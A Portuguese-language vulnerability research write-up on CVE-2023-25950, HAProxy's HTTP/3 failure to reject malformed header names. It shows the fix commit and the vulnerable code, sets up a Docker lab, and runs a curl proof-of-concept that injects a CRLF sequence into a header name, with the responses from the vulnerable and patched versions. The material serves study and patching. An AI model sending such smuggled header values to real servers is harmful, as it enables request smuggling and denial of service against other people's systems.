
HTTP3ONSTEROIDS - A research on CVE-2023-25950 where HAProxy's HTTP/3 implementation fails to block a malformed HTTP header field name.

A implementação HTTP/3 do HAProxy falha em bloquear um nome de campo de cabeçalho HTTP malformado, e quando implantado na frente de um servidor que processa incorretamente este cabeçalho malformado, pode ser usado para conduzir um ataque de contrabando de requisição/resposta HTTP. Um atacante remoto pode alterar a requisição de um usuário legítimo. Como resultado, o atacante pode obter informações sensíveis ou causar uma condição de negação de serviço (DoS).
https://jvn.jp/en/jp/JVN38170084/
Uma abordagem muito boa antes de iniciar qualquer pesquisa sobre CVEs é começar lendo a descrição da vulnerabilidade e depois verificar se o(s) commit(s) de correção estão disponíveis.
No meu caso, o commit estava disponível, e é evidente que os desenvolvedores do HAProxy esqueceram de incluir as verificações do RFC 9114 4.1.2. Malformed Requests and Responses durante a análise dos cabeçalhos padrão na implementação HTTP3.
Consulte o commit do patch abaixo.
--- a/src/h3.c
+++ b/src/h3.c
@@ -352,7 +352,27 @@ static ssize_t h3_headers_to_htx(struct qcs *qcs, const struct buffer *buf,
//struct ist scheme = IST_NULL, authority = IST_NULL;
struct ist authority = IST_NULL;
int hdr_idx, ret;
- int cookie = -1, last_cookie = -1;
+ int cookie = -1, last_cookie = -1, i;
+
+ /* RFC 9114 4.1.2. Malformed Requests and Responses
+ *
+ * A malformed request or response is one that is an otherwise valid
+ * sequence of frames but is invalid due to:
+ * - the presence of prohibited fields or pseudo-header fields,
+ * - the absence of mandatory pseudo-header fields,
+ * - invalid values for pseudo-header fields,
+ * - pseudo-header fields after fields,
+ * - an invalid sequence of HTTP messages,
+ * - the inclusion of uppercase field names, or
+ * - the inclusion of invalid characters in field names or values.
+ *
+ * [...]
+ *
+ * Intermediaries that process HTTP requests or responses (i.e., any
+ * intermediary not acting as a tunnel) MUST NOT forward a malformed
+ * request or response. Malformed requests or responses that are
+ * detected MUST be treated as a stream error of type H3_MESSAGE_ERROR.
+ */
TRACE_ENTER(H3_EV_RX_FRAME|H3_EV_RX_HDR, qcs->qcc->conn, qcs);
@@ -416,6 +436,14 @@ static ssize_t h3_headers_to_htx(struct qcs *qcs, const struct buffer *buf,
if (isteq(list[hdr_idx].n, ist("")))
break;
+ for (i = 0; i < list[hdr_idx].n.len; ++i) {
+ const char c = list[hdr_idx].n.ptr[i];
+ if ((uint8_t)(c - 'A') < 'Z' - 'A' || !HTTP_IS_TOKEN(c)) {
+ TRACE_ERROR("invalid characters in field name", H3_EV_RX_FRAME|H3_EV_RX_HDR, qcs->qcc->conn, qcs);
+ return -1;
+ }
+ }
+
if (isteq(list[hdr_idx].n, ist("cookie"))) {
http_cookie_register(list, hdr_idx, &cookie, &last_cookie);
continue;
Repositories - haproxy-2.7.git/commit
Abaixo, você pode encontrar o código que demonstra a ausência de sanitização de nomes de cabeçalho na implementação do tratamento de cabeçalhos padrão no HAProxy 2.7.0.
/*
src/h3.c
lines: 413 - 428
*/
/* now treat standard headers */
hdr_idx = 0;
while (1) {
if (isteq(list[hdr_idx].n, ist("")))
break;
if (isteq(list[hdr_idx].n, ist("cookie"))) {
http_cookie_register(list, hdr_idx, & cookie, & last_cookie);
continue;
}
if (!istmatch(list[hdr_idx].n, ist(":")))
htx_add_header(htx, list[hdr_idx].n, list[hdr_idx].v);
++hdr_idx;
}
Abaixo, você pode encontrar o código usado para verificar se o nome do cabeçalho é válido.
O código começa com um loop for que itera por cada caractere de um nome de campo de cabeçalho. O loop é executado de i = 0 até i < list[hdr_idx0.n.len], onde list é um array ou estrutura contendo informações do cabeçalho, e hdr_idx é um índice representando o cabeçalho específico sendo verificado.
Dentro do loop, o código extrai o caractere atual c do nome do campo do cabeçalho. list[hdr_idx].n.ptr[i] acessa o caractere na posição i do nome do campo do cabeçalho.
A próxima parte do código contém uma instrução if. Ela verifica se o caractere atual c satisfaz uma de duas condições:
(uint8_t)(c - 'A') < 'Z' - 'A': Isso verifica se o caractere é uma letra maiúscula (A a Z) subtraindo 'A' de c e convertendo o resultado para uint8_t. Se o resultado for menor que a diferença entre 'Z' e 'A', então o caractere é uma letra maiúscula.!HTTP_IS_TOKEN(c): Esta condição verifica se o caractere é um caractere de token HTTP válido. O HTTP_IS_TOKEN funciona primeiro verificando se o nome do cabeçalho contém algum token. Um token é uma sequência de caracteres que não é um caractere reservado no protocolo HTTP. Caracteres reservados são caracteres que têm significado especial no protocolo HTTP, por exemplo, :, /, ? e #./*
src/h3.c
lines: 439 - 445
*/
for (i = 0; i < list[hdr_idx].n.len; ++i) {
const char c = list[hdr_idx].n.ptr[i];
if ((uint8_t)(c - 'A') < 'Z' - 'A' || !HTTP_IS_TOKEN(c)) {
TRACE_ERROR("invalid characters in field name", H3_EV_RX_FRAME | H3_EV_RX_HDR, qcs -> qcc -> conn, qcs);
return -1;
}
}
Todo o laboratório está sendo executado no Docker. Você pode executar o laboratório com os seguintes comandos:
cd /labdocker-compose up --buildObserve que a construção do Docker levará 15-20 minutos para terminar.
No entanto, antes de executar o laboratório, você precisa fazer algumas alterações de configuração:
/lab/haproxy/conf/haproxy.cfg
...
default_backend api_server
backend api_server
balance roundrobin
server api_server [YOUR-LOCAL-IPv4]:8080 # replace with local IPv4
/etc/hosts
[YOUR-LOCAL-IPv4] foo.com
/lab/docker-compose.yml
Você pode escolher entre a versão vulnerável e a versão corrigida alterando o valor do argumento para 'vuln' ou 'patched' para realizar seu teste nela.
...
args:
- haproxy_version=patched || vuln
...
e finalmente importe o certificado minica.crt no seu navegador.
⚠️ Por favor, execute o laboratório em um ambiente Linux.
Enviando a seguinte requisição curl:
curl --http3 -H "foooooo\r\n: barr" -iL -k https://192.168.1.104/Resposta da versão vulnerável:
HTTP/3 200
server: Werkzeug/2.3.6 Python/3.8.17
date: Sat, 12 Aug 2023 13:10:52 GMT
content-type: text/html; charset=utf-8
content-length: 76
alt-svc: h3=":443";ma=900;
Host: 192.168.1.104
User-Agent: curl/8.1.2-DEV
Accept: */*
Foooooo\R\N: barr <-- Cabeçalho malformado
Resposta da versão corrigida:
curl: (56) HTTP/3 stream 0 reset by server
Com base nas descobertas acima, as respostas correspondentes indicam que a versão vulnerável do HAProxy permitiu que o prefixo \r\n passasse para o servidor backend, enquanto a versão corrigida descartou a conexão entre o cliente e o HAProxy.
Um atacante pode conduzir um ataque de Contrabando de Requisições HTTP com base no comportamento do backend e em como o servidor backend tratará o cabeçalho malformado. Na minha opinião, a preocupação mais significativa é que um atacante poderia explorar o CVE mencionado para realizar um ataque de Negação de Serviço (DoS).
https://jvn.jp/en/jp/JVN38170084/
https://github.com/haproxytechblog/haproxy-2.6-http3
https://www.haproxy.com/blog/how-to-enable-quic-load-balancing-on-haproxy
https://git.haproxy.org/
https://github.com/jsha/minica
https://curl.se/docs/http3.html